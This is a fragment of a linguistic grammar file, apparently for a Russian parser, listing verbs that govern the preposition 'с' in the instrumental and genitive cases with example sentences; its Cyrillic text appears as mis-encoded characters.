rus_verbs:ะฑะพะณะฐัะตัั{}, // ะัะพะฒะธะฝัะธั ะฑะพะณะฐัะตะตั ะพั ัะพัะณะพะฒะปะธ ั ัะพัะตะดัะผะธ
rus_verbs:ะฑะพะดะฐัััั{}, // ัะตะปะตะฝะพะบ ะฑะพะดะฐะตััั ั ะดะตัะตะฒะพะผ
rus_verbs:ะฑะพะบัะธัะพะฒะฐัั{}, // ะะฐะนะบะป ะดะฒะฐะถะดั ะฑะพะบัะธัะพะฒะฐะป ั ะฝะธะผ
rus_verbs:ะฑัะฐัะฐัััั{}, // ะกะพะปะดะฐัั ะฑัะฐัะฐะปะธัั ั ะฑะพะนัะฐะผะธ ัะพัะทะฝะธะบะพะฒ
rus_verbs:ะฒะฐะปััะธัะพะฒะฐัั{}, // ะะฐะปััะธะบ ะฒะฐะปััะธััะตั ั ะดะตะฒะพัะบะพะน
rus_verbs:ะฒะฒะตััััะฒะฐัั{}, // ะะธะทะฐะนะฝะตั ั ัััะดะพะผ ะฒะฒะตััััะฒะฐะตั ะฑะปะพะบะธ ะฒ ัััะฐะฝะธัั
rus_verbs:ะฟัะพะธัั
ะพะดะธัั{}, // ะงัะพ ะฟัะพะธัั
ะพะดะธั ั ะผะธัะพะฒะพะน ัะบะพะฝะพะผะธะบะพะน?
rus_verbs:ะฟัะพะธะทะพะนัะธ{}, // ะงัะพ ะฟัะพะธะทะพัะปะพ ั ัะบะพะฝะพะผะธะบะพะน?
rus_verbs:ะฒะทะฐะธะผะพะดะตะนััะฒะพะฒะฐัั{}, // ะญะปะตะบััะพะฝั ะฒะทะฐะธะผะพะดะตะนััะฒััั ั ัะพัะพะฝะฐะผะธ
rus_verbs:ะฒะทะดะพัะธัั{}, // ะญัะฐ ะถะตะฝัะธะฝะฐ ัะฐััะพ ะฒะทะดะพัะธะปะฐ ั ัะพัะตะดัะผะธ
rus_verbs:ัะพะนัะธัั{}, // ะะฐะปััะธะบ ัะพัะตะปัั ั ะฑะฐะฝะดะพะน ั
ัะปะธะณะฐะฝะพะฒ
rus_verbs:ะฒะพะฑัะฐัั{}, // ะฒะพะฑัะฐัั ะฒ ัะตะฑั ะปัััะธะต ะผะตัะพะดั ะฑะพััะฑั ั ะฒัะตะดะธัะตะปัะผะธ
rus_verbs:ะฒะพะดะธัััั{}, // ะัะฝั ะฒะพะดะธััั ั ะดะตััะผะธ
rus_verbs:ะฒะพะตะฒะฐัั{}, // ะคะตัะผะตัั ะฒะพะตะฒะฐะปะธ ั ะฒะพะปะบะฐะผะธ
rus_verbs:ะฒะพะทะธัััั{}, // ะัะฝั ะฒะพะทะธััั ั ะดะตััะผะธ
rus_verbs:ะฒะพัะบะพะฒะฐัั{}, // ะะพะปัะฑั ะฒะพัะบัะตั ั ะณะพะปัะฑะบะพะน
rus_verbs:ะฒะพััะพะตะดะธะฝะธัััั{}, // ะะตัะธ ะฒะพััะพะตะดะธะฝะธะปะธัั ั ัะตะผัะตะน
rus_verbs:ะฒะพััะพะตะดะธะฝััััั{}, // ะะตัะธ ะฒะพััะพะตะดะธะฝััััั ั ัะตะผัะตะน
rus_verbs:ะฒะพัะบะฐัััั{}, // ะะต ะฒะพัะบะฐะนัั ั ััะพะน ะตััะฝะดะพะน
rus_verbs:ะฒัะฐะถะดะพะฒะฐัั{}, // ะฒัะฐะถะดะพะฒะฐัั ั ัะพัะตะดัะผะธ
rus_verbs:ะฒัะตะผะตะฝะธัั{}, // ะฒัะตะผะตะฝะธัั ั ะฒัั
ะพะดะพะผ ะฝะฐ ะฟะตะฝัะธั
rus_verbs:ัะฐัััะฐัััั{}, // ั ะฝะต ะผะพะณั ัะฐัััะฐัััั ั ัะพะฑะพะน
rus_verbs:ะฒัะดะธัะฐัั{}, // ะฒัะดะธัะฐัั ั ะผััะพะผ
rus_verbs:ะฒัะดะธัะฐัััั{}, // ะฒัะดะธัะฐัััั ั ะผััะพะผ
rus_verbs:ะฒััะฒะพัะธัั{}, // ะฒััะฒะพัะธัั ััะพ-ะปะธะฑะพ ั ัะตะผ-ะปะธะฑะพ
rus_verbs:ะฒััะฒะพัััั{}, // ะฒััะฒะพัััั ััะพ-ะปะธะฑะพ ั ัะตะผ-ะปะธะฑะพ
rus_verbs:ัะดะตะปะฐัั{}, // ัะดะตะปะฐัั ั ัะตะผ-ัะพ
rus_verbs:ะดะพะผััั{}, // ะดะพะผััั ั ะผัะปะพะผ
rus_verbs:ัะปััะธัััั{}, // ัะปััะธัััั ั ะบะตะผ-ัะพ
rus_verbs:ะพััะฐัััั{}, // ะพััะฐัััั ั ะบะตะผ-ัะพ
rus_verbs:ัะปััะฐัั{}, // ัะปััะฐัั ั ะฟะพัะพะดะธัััะผ ะบะพะฑะตะปัะบะพะผ
rus_verbs:ะฟะพัะปะฐัั{}, // ะฟะพัะปะฐัั ั ะฒะตััะพัะบะพะน
rus_verbs:ัะฐะฑะพัะฐัั{}, // ัะฐะฑะพัะฐัั ั ัะพะฑะพัะฐะผะธ
rus_verbs:ะฟัะพะฒะตััะธ{}, // ะฟัะพะฒะตััะธ ั ะดะตะฒัะพะฝะบะฐะผะธ ะฒัะตะผั
rus_verbs:ะทะฐะณะพะฒะพัะธัั{}, // ะทะฐะณะพะฒะพัะธัั ั ะฝะตะทะฝะฐะบะพะผะบะพะน
rus_verbs:ะฟัะพัะตะฟัะฐัั{}, // ะฟัะพัะตะฟัะฐัั ั ะฟัะธะดัั
ะฐะฝะธะตะผ
rus_verbs:ัะธัะฐัั{}, // ัะธัะฐัั ั ะฒััะฐะถะตะฝะธะตะผ
rus_verbs:ัะปััะฐัั{}, // ัะปััะฐัั ั ะฟะพะฒััะตะฝะฝัะผ ะฒะฝะธะผะฐะฝะธะตะผ
rus_verbs:ะฟัะธะฝะตััะธ{}, // ะฟัะธะฝะตััะธ ั ัะพะฑะพะน
rus_verbs:ัะฟะฐัั{}, // ัะฟะฐัั ั ะถะตะฝัะธะฝะฐะผะธ
rus_verbs:ะทะฐะบะพะฝัะธัั{}, // ะทะฐะบะพะฝัะธัั ั ะฟัะธะณะพัะพะฒะปะตะฝะธัะผะธ
rus_verbs:ะฟะพะผะพัั{}, // ะฟะพะผะพัั ั ะฟะตัะตััะฐะฝะพะฒะบะพะน
rus_verbs:ัะตั
ะฐัั{}, // ัะตั
ะฐัั ั ัะตะผัะตะน
rus_verbs:ัะปััะฐัััั{}, // ัะปััะฐัััั ั ะบะตะผ-ัะพ
rus_verbs:ะบััะธัั{}, // ะบััะธัั ั ะฟัะพััะธัััะบะฐะผะธ
rus_verbs:ัะฐะทะณะพะฒะฐัะธะฒะฐัั{}, // ัะฐะทะณะพะฒะฐัะธะฒะฐัั ั ัะตะฑะตะฝะบะพะผ
rus_verbs:ะฟะพะณะพะดะธัั{}, // ะฟะพะณะพะดะธัั ั ะปะธะบะฒะธะดะฐัะธะตะน
rus_verbs:ััะธัะฐัััั{}, // ััะธัะฐัััั ั ััะถะธะผ ะผะฝะตะฝะธะตะผ
rus_verbs:ะฝะพัะธัั{}, // ะฝะพัะธัั ั ัะพะฑะพะน
rus_verbs:ั
ะพัะพัะตัั{}, // ั
ะพัะพัะตัั ั ะบะฐะถะดัะผ ะดะฝะตะผ
rus_verbs:ะฟัะธะฒะพะดะธัั{}, // ะฟัะธะฒะพะดะธัั ั ัะพะฑะพะน
rus_verbs:ะฟััะณะฝััั{}, // ะฟััะณะฝััั ั ะฟะฐัะฐัััะพะผ
rus_verbs:ะฟะตัั{}, // ะฟะตัั ั ััะฒััะฒะพะผ
rus_verbs:ัะปะพะถะธัั{}, // ัะปะพะถะธัั ั ัะตะทัะปััะฐัะพะผ
rus_verbs:ะฟะพะทะฝะฐะบะพะผะธัััั{}, // ะฟะพะทะฝะฐะบะพะผะธัััั ั ะดััะณะธะผะธ ัััะดะตะฝัะฐะผะธ
rus_verbs:ะพะฑัะฐัะฐัััั{}, // ะพะฑัะฐัะฐัััั ั ะถะธะฒะพัะฝัะผะธ
rus_verbs:ััะตััั{}, // ััะตััั ั ั
ะปะตะฑะพะผ
rus_verbs:ะพัะธะฑะฐัััั{}, // ะพัะธะฑะฐัััั ั ะดะพะทะธัะพะฒะบะพะน
rus_verbs:ััะพะปะบะฝััััั{}, // ััะพะปะบะฝััััั ั ะผะตะดะฒะตะดะตะผ
rus_verbs:ัะฟัะฐะฒะธัััั{}, // ัะฟัะฐะฒะธัััั ั ะฝัะถะดะพะน
rus_verbs:ัะพัะพะฟะธัััั{}, // ัะพัะพะฟะธัััั ั ะพัะฒะตัะพะผ
rus_verbs:ะฟะพะทะดัะฐะฒะปััั{}, // ะฟะพะทะดัะฐะฒะปััั ั ะฟะพะฑะตะดะพะน
rus_verbs:ะพะฑัััะฝััััั{}, // ะพะฑัััะฝััััั ั ะฝะฐัะฐะปัััะฒะพะผ
rus_verbs:ะฟะพัััะธัั{}, // ะฟะพัััะธัั ั ะฟะพะดััะณะพะน
rus_verbs:ะฟะพะทะดะพัะพะฒะฐัััั{}, // ะฟะพะทะดะพัะพะฒะฐัััั ั ะบะพะปะปะตะณะฐะผะธ
rus_verbs:ะฟะพัััะฟะฐัั{}, // ะะฐะบ ะฟะพัััะฟะฐัั ั ัะฐะบะธะผ ะฟะพะฒะตะดะตะฝะธะตะผ?
rus_verbs:ะพะฟัะตะดะตะปััััั{}, // ะพะฟัะตะดะตะปััััั ั ะบะฐะฝะดะธะดะฐัะฐะผะธ
rus_verbs:ัะฒัะทะฐัััั{}, // ัะฒัะทะฐัััั ั ะฟะพััะฐะฒัะธะบะพะผ
rus_verbs:ัะฟะพัะธัั{}, // ัะฟะพัะธัั ั ัะพะฑะตัะตะดะฝะธะบะพะผ
rus_verbs:ัะฐะทะพะฑัะฐัััั{}, // ัะฐะทะพะฑัะฐัััั ั ะดะตะปะฐะผะธ
rus_verbs:ะปะพะฒะธัั{}, // ะปะพะฒะธัั ั ัะดะพัะบะพะน
rus_verbs:ะฟะพะผะตะดะปะธัั{}, // ะะฐะฝะดะธะดะฐั ะฟะพะผะตะดะปะธะป ั ะพัะฒะตัะพะผ ะฝะฐ ะทะฐะดะฐะฝะฝัะน ะฒะพะฟัะพั
rus_verbs:ัััะธัั{}, // ัััะธัั ั ะดะธะบะธะผ ะทะฒะตัะตะผ
rus_verbs:ัะฐะทะพัะฒะฐัั{}, // ัะฐะทะพัะฒะฐัั ั ะฟะพััะฐะฒัะธะบะพะผ ะบะพะฝััะฐะบั
rus_verbs:ัะฒะตะทัะธ{}, // ัะฒะตะทัะธ ั ัะพะฑะพะน
rus_verbs:ัะฝะตััะธ{}, // ัะฝะตััะธ ั ัะพะฑะพะน
rus_verbs:ัะพัะฒะพัะธัั{}, // ัะพัะฒะพัะธัั ั ัะพะฑะพะน ััะพ-ัะพ ะฝะตั
ะพัะพัะตะต
rus_verbs:ัะบะปะฐะดัะฒะฐัััั{}, // ัะบะปะฐะดัะฒะฐัััั ั ะฟะตัะฒัะผ ะธะผะฟัะปััะพะผ
rus_verbs:ัะพะณะปะฐัะฐัััั{}, // ัะพะณะปะฐัะฐัััั ั ะฟัะตะดะปะพะถะตะฝะฝัะผ ะดะพะณะพะฒะพัะพะผ
//rus_verbs:ะฟะพะบะพะฝัะธัั{}, // ะฟะพะบะพะฝัะธัั ั ัะฐะทะฒัะฐัะพะผ
rus_verbs:ะฟัะธั
ะฒะฐัะธัั{}, // ะฟัะธั
ะฒะฐัะธัั ั ัะพะฑะพะน
rus_verbs:ะฟะพั
ะพัะพะฝะธัั{}, // ะฟะพั
ะพัะพะฝะธัั ั ะฟะพัะตัััะผะธ
rus_verbs:ัะฒัะทัะฒะฐัั{}, // ัะฒัะทัะฒะฐัั ั ะบะพะผะฟะฐะฝะธะตะน ัะฒะพั ััะดัะฑั
rus_verbs:ัะพะฒะฟะฐะดะฐัั{}, // ัะพะฒะฟะฐะดะฐัั ั ะฟัะตะดัะบะฐะทะฐะฝะธะตะผ
rus_verbs:ัะฐะฝัะตะฒะฐัั{}, // ัะฐะฝัะตะฒะฐัั ั ะดะตะฒััะบะฐะผะธ
rus_verbs:ะฟะพะดะตะปะธัััั{}, // ะฟะพะดะตะปะธัััั ั ะฒัะถะธะฒัะธะผะธ
rus_verbs:ะพััะฐะฒะฐัััั{}, // ั ะฝะต ั
ะพัะตะป ะพััะฐะฒะฐัััั ั ะฝะธะผ ะฒ ะพะดะฝะพะน ะบะพะผะฝะฐัะต.
rus_verbs:ะฑะตัะตะดะพะฒะฐัั{}, // ะฟัะตะฟะพะดะฐะฒะฐัะตะปั, ะฑะตัะตะดัััะธะน ัะพ ัััะดะตะฝัะฐะผะธ
rus_verbs:ะฑะพัะพัััั{}, // ัะตะปะพะฒะตะบ, ะฑะพัััะธะนัั ัะพ ัะผะตััะตะปัะฝะพะน ะฑะพะปะตะทะฝัั
rus_verbs:ัะตะฟัะฐัััั{}, // ะดะตะฒะพัะบะฐ, ัะตะฟัััะฐััั ั ะฟะพะดััะณะพะน
rus_verbs:ัะฟะปะตัะฝะธัะฐัั{}, // ะถะตะฝัะธะฝะฐ, ัะฟะปะตัะฝะธัะฐะฒัะฐั ั ัะพะฒะฐัะบะฐะผะธ
rus_verbs:ะฟะพะณะพะฒะพัะธัั{}, // ะฟะพะณะพะฒะพัะธัั ั ะฒะธะฝะพะฒะฝะธะบะฐะผะธ
rus_verbs:ัะบะฐะทะฐัั{}, // ัะบะฐะทะฐัั ั ัััะดะพะผ
rus_verbs:ะฟัะพะธะทะฝะตััะธ{}, // ะฟัะพะธะทะฝะตััะธ ั ัััะดะพะผ
rus_verbs:ะณะพะฒะพัะธัั{}, // ะณะพะฒะพัะธัั ั ะฐะบัะตะฝัะพะผ
rus_verbs:ะฟัะพะธะทะฝะพัะธัั{}, // ะฟัะพะธะทะฝะพัะธัั ั ัััะดะพะผ
rus_verbs:ะฒัััะตัะฐัััั{}, // ะบัะพ ั ะะฝัะพะฝะธะพ ะฒัััะตัะฐะปัั?
rus_verbs:ะฟะพัะธะดะตัั{}, // ะฟะพัะธะดะตัั ั ะดััะทััะผะธ
rus_verbs:ัะฐัะบะฒะธัะฐัััั{}, // ัะฐัะบะฒะธัะฐัััั ั ะพะฑะธะดัะธะบะพะผ
rus_verbs:ะฟะพะบะฒะธัะฐัััั{}, // ะฟะพะบะฒะธัะฐัััั ั ะพะฑะธะดัะธะบะพะผ
rus_verbs:ััะณะฐัััั{}, // ััะณะฐัััั ั ะถะตะฝะพะน
rus_verbs:ะฟะพัะบะฐะฝะดะฐะปะธัั{}, // ะฟะพัะบะฐะฝะดะฐะปะธัั ั ะถะตะฝะพะน
rus_verbs:ะฟะพัะฐะฝัะตะฒะฐัั{}, // ะฟะพัะฐะฝัะตะฒะฐัั ั ะฟะพะดััะณะพะน
rus_verbs:ัะบะฐะฝะดะฐะปะธัั{}, // ัะบะฐะฝะดะฐะปะธัั ั ัะพัะตะดัะผะธ
rus_verbs:ัะฐะทััะณะฐัััั{}, // ัะฐะทััะณะฐัััั ั ะดััะณะพะผ
rus_verbs:ะฑะพะปัะฐัั{}, // ะฑะพะปัะฐัั ั ะฟะพะดััะณะฐะผะธ
rus_verbs:ะฟะพััะตะฟะฐัััั{}, // ะฟะพััะตะฟะฐัััั ั ัะพัะตะดะบะพะน
rus_verbs:ะฒะพะนัะธ{}, // ะฒะพะนัะธ ั ัะตะณะธัััะฐัะธะตะน
rus_verbs:ะฒั
ะพะดะธัั{}, // ะฒั
ะพะดะธัั ั ัะตะณะธัััะฐัะธะตะน
rus_verbs:ะฒะพะทะฒัะฐัะฐัััั{}, // ะฒะพะทะฒัะฐัะฐัััั ั ััะธัะผัะพะผ
rus_verbs:ะพะฟะพะทะดะฐัั{}, // ะะฝ ะพะฟะพะทะดะฐะป ั ะฟะพะดะฐัะตะน ัะพัะธะฝะตะฝะธั.
rus_verbs:ะผะพะปัะฐัั{}, // ะะฝ ะผะพะปัะฐะป ั ะปะตะดัะฝัะผ ัะฟะพะบะพะนััะฒะธะตะผ.
rus_verbs:ััะฐะถะฐัััั{}, // ะะฝ ะณะตัะพะธัะตัะบะธ ััะฐะถะฐะปัั ั ะฒัะฐะณะฐะผะธ.
rus_verbs:ะฒัั
ะพะดะธัั{}, // ะะฝ ะฒัะตะณะดะฐ ะฒัั
ะพะดะธั ั ะทะพะฝัะธะบะพะผ.
rus_verbs:ัะปะธัะฐัั{}, // ัะปะธัะฐัั ะฟะตัะตะฒะพะด ั ะพัะธะณะธะฝะฐะปะพะผ
rus_verbs:ะฝะฐัะฐัั{}, // ั ะฝะฐัะฐะป ั ัะพะฒะฐัะธัะตะผ ัะฟะพั ะพ ัะตะปะธะณะธะธ
rus_verbs:ัะพะณะปะฐัะพะฒะฐัั{}, // ะะฐัะฐ ัะพะณะปะฐัะพะฒะฐะปะฐ ั ะะตัะตะน ะดะฐะปัะฝะตะนัะธะต ะฟะพะตะทะดะบะธ
rus_verbs:ะฟัะธั
ะพะดะธัั{}, // ะัะธั
ะพะดะธัะต ั ะฝะตั.
rus_verbs:ะถะธัั{}, // ะบัะพ ั ัะพะฑะพะน ะถะธะป?
rus_verbs:ัะฐัั
ะพะดะธัััั{}, // ะะฐัะฐ ัะฐัั
ะพะดะธััั ั ะะตัะตะน
rus_verbs:ััะตะฟะปััั{}, // ััะตะฟะปััั ะบะฐัะฐะฑะธะฝ ั ะพะฑะฒัะทะบะพะน
rus_verbs:ัะพัะณะพะฒะฐัั{}, // ะผั ัะพัะณัะตะผ ั ะฝะธะผะธ ะฝะตัััั
rus_verbs:ัะตะดะธะฝััััั{}, // ัะตะดะธะฝััััั ั ะฟะพะดััะณะพะน ะฒ ะดะพะผะต
rus_verbs:ัะปะฐะดะธัั{}, // ัะปะฐะดะธัั ะบะพะฝัะปะธะบั ั ัะพัะตะดัะผะธ
rus_verbs:ะธะดัะธ{}, // ะฏ ัะตะป ััะดะฐ ั ััะถัะปัะผ ัะตัะดัะตะผ.
rus_verbs:ัะฐะทะดะตะปััั{}, // ะฏ ัะฐะทะดะตะปัั ั ะฒะฐะผะธ ะณะพัะต ะธ ัะฐะดะพััั.
rus_verbs:ะพะฑัะฐัะธัััั{}, // ะฏ ะพะฑัะฐัะธะปัั ะบ ะฝะตะผั ั ะฟัะพััะฑะพะน ะพ ะฟะพะผะพัะธ.
rus_verbs:ะทะฐั
ะฒะฐัะธัั{}, // ะฏ ะฝะต ะทะฐั
ะฒะฐัะธะป ั ัะพะฑะพะน ะดะตะฝะตะณ.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะทะฝะฐะบะพะผัะน{}, // ะฏ ะทะฝะฐะบะพะผ ั ะฝะธะผะธ ะพะฑะพะธะผะธ.
rus_verbs:ะฒะตััะธ{}, // ะฏ ะฒะตะดั ั ะฝะตะน ะฟะตัะตะฟะธัะบั.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะพะฟััะถะตะฝะฝัะน{}, // ะญัะพ ัะพะฟััะถะตะฝะพ ั ะฑะพะปััะธะผะธ ัััะดะฝะพัััะผะธ.
ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ัะฒัะทะฐะฝะฝัะน{ะฟัะธัะฐััะธะต}, // ะญัะพ ะดะตะปะพ ัะฒัะทะฐะฝะพ ั ัะธัะบะพะผ.
rus_verbs:ะฟะพะตั
ะฐัั{}, // ะฅะพัะธัะต ะฟะพะตั
ะฐัั ัะพ ะผะฝะพะน ะฒ ัะตะฐัั?
rus_verbs:ะฟัะพัะฝััััั{}, // ะฃััะพะผ ั ะฟัะพัะฝัะปัั ั ััะฝะพะน ะณะพะปะพะฒะพะน.
rus_verbs:ะปะตัะตัั{}, // ะกะฐะผะพะปัั ะปะตัะตะป ัะพ ัะบะพัะพัััั ะทะฒัะบะฐ.
rus_verbs:ะธะณัะฐัั{}, // ะก ะพะณะฝัะผ ะธะณัะฐัั ะพะฟะฐัะฝะพ!
rus_verbs:ะฟะพะดะตะปะฐัั{}, // ะก ะฝะธะผ ะฝะธัะตะณะพ ะฝะต ะฟะพะดะตะปะฐะตัั.
rus_verbs:ััััััะธัั{}, // ะก ะฝะตะน ัััััะปะพัั ะฝะตััะฐัััะต.
rus_verbs:ัะผะพััะตัััั{}, // ะัะตัะฐ ัะผะพััะธััั ั ัะดะพะฒะพะปัััะฒะธะตะผ.
rus_verbs:ัะผะพััะตัั{}, // ะะฝะฐ ัะผะพััะตะปะฐ ะฝะฐ ะผะตะฝั ั ัะฒะฝัะผ ะฝะตัะดะพะฒะพะปัััะฒะธะตะผ.
rus_verbs:ัะฐะทะพะนัะธัั{}, // ะะฝะฐ ัะฐะทะพัะปะฐัั ั ะผัะถะตะผ.
rus_verbs:ะฟัะธััะฐัั{}, // ะะฝะฐ ะฟัะธััะฐะปะฐ ะบะพ ะผะฝะต ั ัะฐััะฟัะพัะฐะผะธ.
rus_verbs:ะฟะพัะผะพััะตัั{}, // ะะฝะฐ ะฟะพัะผะพััะตะปะฐ ะฝะฐ ะผะตะฝั ั ัะดะธะฒะปะตะฝะธะตะผ.
rus_verbs:ะฟะพัััะฟะธัั{}, // ะะฝะฐ ะฟะปะพั
ะพ ะฟะพัััะฟะธะปะฐ ั ะฝะธะผ.
rus_verbs:ะฒัะนัะธ{}, // ะะฝะฐ ะฒััะปะฐ ั ัััะฐะปัะผ ะธ ะฝะตะดะพะฒะพะปัะฝัะผ ะฒะธะดะพะผ.
rus_verbs:ะฒะทััั{}, // ะะพะทัะผะธัะต ั ัะพะฑะพะน ัะพะปัะบะพ ัะฐะผะพะต ะฝะตะพะฑั
ะพะดะธะผะพะต.
rus_verbs:ะฝะฐะฟะปะฐะบะฐัััั{}, // ะะฐะฟะปะฐัะตััั ะพะฝะฐ ั ะฝะธะผ.
rus_verbs:ะปะตะถะฐัั{}, // ะะฝ ะปะตะถะธั ั ะฒะพัะฟะฐะปะตะฝะธะตะผ ะปัะณะบะธั
.
rus_verbs:ะดััะฐัั{}, // ะดััะฐัะธะน ั ัััะดะพะผ
rus_verbs:ะฑัะฐัั{}, // ะฑัะฐัั ั ัะพะฑะพะน
rus_verbs:ะผัะฐัััั{}, // ะะฒัะพะผะพะฑะธะปั ะผัะธััั ั ะฝะตะพะฑััะฐะนะฝะพะน ะฑััััะพัะพะน.
rus_verbs:ัะฟะฐััั{}, // ะะฐะทะฐ ัะฟะฐะปะฐ ัะพ ะทะฒะพะฝะพะผ.
rus_verbs:ะฒะตัะฝััััั{}, // ะผั ะฒะตัะฝัะปะธัั ะฒัะตัะฐ ะดะพะผะพะน ั ะฟะพะปะฝัะผ ะปัะบะพัะบะพะผ
rus_verbs:ัะธะดะตัั{}, // ะะฝะฐ ัะธะดะธั ะดะพะผะฐ ั ัะตะฑะตะฝะบะพะผ
rus_verbs:ะฒัััะตัะธัััั{}, // ะฒัััะตัะฐัััั ั ะบะตะผ-ะปะธะฑะพ
ะะ_ะะะค(ะฟัะธะดัะธ), ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฟัะธัะตะดัะธะน{}, // ะฟัะธัะตะดัะธะน ั ะดััะณะพะผ
ะะ_ะะะค(ะฟะพััะธัะฐัั), ะฟัะธะปะฐะณะฐัะตะปัะฝะพะต:ะฟะพััะธัะฐะฝะฝัะน{}, ะดะตะตะฟัะธัะฐััะธะต:ะฟะพััะธัะฐะฒ{},
rus_verbs:ะผััั{}
}
fact ะณะป_ะฟัะตะดะป
{
if context { ะะป_ะก_ะขะฒะพั ะฟัะตะดะปะพะณ:ั{} @regex("[a-z]+[0-9]*") }
then return true
}
fact ะณะป_ะฟัะตะดะป
{
if context { ะะป_ะก_ะขะฒะพั ะฟัะตะดะปะพะณ:ั{} *:*{ะฟะฐะดะตะถ:ัะฒะพั} }
then return true
}
#endregion ะขะะะ ะะขะะะฌะะซะ
#region ะ ะะะะขะะะฌะะซะ
wordentry_set ะะป_ะก_ะ ะพะด=
{
rus_verbs:ะฃะฅะะะะขะฌ{}, // ะะพ ั ะฑะฐะทั ะฝะต ัั
ะพะดะธัั.
rus_verbs:ะ ะะะะฃะขะฌ{}, // ะะพะดะธัะตะปั ะฟัะพัััะฐะป ะฟัะพะบะปััะธะต ะธ ัะฒะฐะฝัะป ะผะฐัะธะฝั ั ะผะตััะฐ. (ะ ะะะะฃะขะฌ)
rus_verbs:ะะฅะะะขะะขะฌ{}, // ะพะณะพะฝั ะพั
ะฒะฐัะธะป ะตะณะพ ัะพ ะฒัะตั
ััะพัะพะฝ (ะะฅะะะขะะขะฌ)
rus_verbs:ะะะะะขะะขะฌ{}, // ะะฝ ะฟะพะฝะธะผะฐะป, ััะพ ัะฒะตั ะธะท ัะฐะนะฝะธะบะฐ ะฝะตะฒะพะทะผะพะถะฝะพ ะทะฐะผะตัะธัั ั ะฟะฐะปัะฑั (ะะะะะขะะขะฌ/ะ ะะะะะฏะะะขะฌ)
rus_verbs:ะ ะะะะะฏะะะขะฌ{}, //
rus_verbs:ะกะะะะะะ ะะะะขะฌ{}, // ะัะธัั ัะฐะทะผะตัะพะผ ั ะพัะปะธัั, ะฒะตัะพััะฝะพ, ะฝะต ะผะพะณะปะธ ะฑั ะฟะพะดะฝััััั ะฒ ะฒะพะทะดัั
, ะฝะต ัะฟะปะฐะฝะธัะพะฒะฐะฒ ั ะฒััะพะบะพะณะพ ััะตัะฐ. (ะกะะะะะะ ะะะะขะฌ)
rus_verbs:ะฃะะะ ะะขะฌ{}, // ะะฝ ัะผัะตั ั ะณะพะปะพะดั. (ะฃะะะ ะะขะฌ)
rus_verbs:ะะกะะฃะะะฃะขะฌ{}, // ะะฑะฐ ัะฟะฐะปะธ ั ะปัะทะณะพะผ, ะฒัะฟัะณะฝัะฒัะธะผ ะฟัะธั ั ะฑะปะธะถะฐะนัะธั
ะดะตัะตะฒัะตะฒ (ะะกะะฃะะะฃะขะฌ)
rus_verbs:ะ ะะะะขะฌ{}, // ะัะตะผั ะพั ะฒัะตะผะตะฝะธ ะบะฐะบะพะน-ัะพ ััะตั ัะตะฒะตะป ั ะฑะตัะตะณะฐ ะธะปะธ ัะฐะผะพะน ัะตะบะธ. (ะ ะะะะขะฌ/ะะะ ะะะะขะฌ/ะะ ะะ ะะะะขะฌ/ะะะะ ะะขะฌ/ะะ ะะะ ะะขะฌ/ะะ ะะขะฌ/ะะ ะะะ ะะงะะขะฌ/ะะะะ ะะงะะขะฌ/ะะะะะขะฌ/ะะะะะะะขะฌ)
rus_verbs:ะะะ ะะะะขะฌ{}, //
rus_verbs:ะะ ะะ ะะะะขะฌ{}, //
rus_verbs:ะะะะ ะะขะฌ{}, //
rus_verbs:ะะ ะะะ ะะขะฌ{}, //
rus_verbs:ะะ ะะขะฌ{}, //
rus_verbs:ะะะะ ะะงะะขะฌ{},
rus_verbs:ะะะะะขะฌ{}, //
rus_verbs:ะะะะะะะขะฌ{}, //
rus_verbs:ะกะขะะฉะะขะฌ{}, // ะฏ ะฒะธะดะตะปะฐ ะบะฐะบ ะพะฝะธ ััะฐัะธะปะธ ะตะณะพ ั ะฒะฐะปัะฝะฐ ะธ ัะฒะตะปะธ ั ัะพะฑะพะน. (ะกะขะะฉะะขะฌ/ะกะขะะกะะะะะขะฌ)
rus_verbs:ะกะขะะกะะะะะขะฌ{}, //
rus_verbs:ะะ ะะะซะขะฌ{}, // ะัะธะทัะฐะบ ัััะฑะฝะพะณะพ ะทะพะฒะฐ ะฟัะพะฒัะป ั ะดััะณะพะน ััะพัะพะฝั ะดะฒะตัะตะน. (ะะ ะะะซะขะฌ, ะะะะซะขะฌ, ะะซะขะฌ)
rus_verbs:ะะะะซะขะฌ{}, //
rus_verbs:ะะซะขะฌ{}, //
rus_verbs:ะกะะะขะะขะฌ{}, // ะะพะปัะดะตะฝะฝะพะต ะผะฐะนัะบะพะต ัะพะปะฝัะต ััะบะพ ัะฒะตัะธะปะพ ั ะณะพะปัะฑัั
ะฝะตะฑะตั ะัะธะทะพะฝั. (ะกะะะขะะขะฌ)
rus_verbs:ะะขะกะะะงะะะะขะฌ{}, // ะกะพะปะฝัะต ะพััะฒะตัะธะฒะฐะปะพ ั ะฑะตะปัั
ะปะพัะฐะดะตะน, ะฑะตะปัั
ัะธัะพะฒ ะธ ะฑะตะปัั
ะฟะตััะตะฒ ะธ ะธัะบัะธะปะพัั ะฝะฐ ะฝะฐะบะพะฝะตัะฝะธะบะฐั
ะฟะธะบ. (ะะขะกะะะงะะะะขะฌ ะก, ะะกะะ ะะขะฌะกะฏ ะะ)
rus_verbs:ะฟะตัะตะณะฝะฐัั{}, // ะกะบะพั ะฝัะถะฝะพ ะฟะตัะตะณะฝะฐัั ั ััะพะณะพ ะฟะฐััะฑะธัะฐ ะฝะฐ ะดััะณะพะต
rus_verbs:ัะพะฑะธัะฐัั{}, // ะผะฐะปััะธะบะธ ะฝะฐัะฐะปะธ ัะพะฑะธัะฐัั ัะพ ััะพะปะพะฒ ะฟะพััะดั
rus_verbs:ัะฐะทะณะปัะดัะฒะฐัั{}, // ัั ะตะต ัะพ ะฒัะตั
ััะพัะพะฝ ัะฐะทะณะปัะดัะฒะฐะป
rus_verbs:ะกะะะะะขะฌ{}, // ะผะตะฝั ะฟะปะพัะฝะพ ัะถะธะผะฐะปะธ ัะพ ะฒัะตั
ััะพัะพะฝ (ะกะะะะะขะฌ)
rus_verbs:ะกะะะ ะะขะฌะกะฏ{}, // ัะพ ะฒัะตะณะพ ัะฒะตัะฐ ัะพะฑัะฐะปะธัั! (ะกะะะ ะะขะฌะกะฏ)
rus_verbs:ะะะะะะฏะขะฌ{}, // ะะธะฝะพ ะฒ ะฟะฐะบะตัะฐั
ะธะทะณะพะฝััั ั ััะฝะบะฐ (ะะะะะะฏะขะฌ)
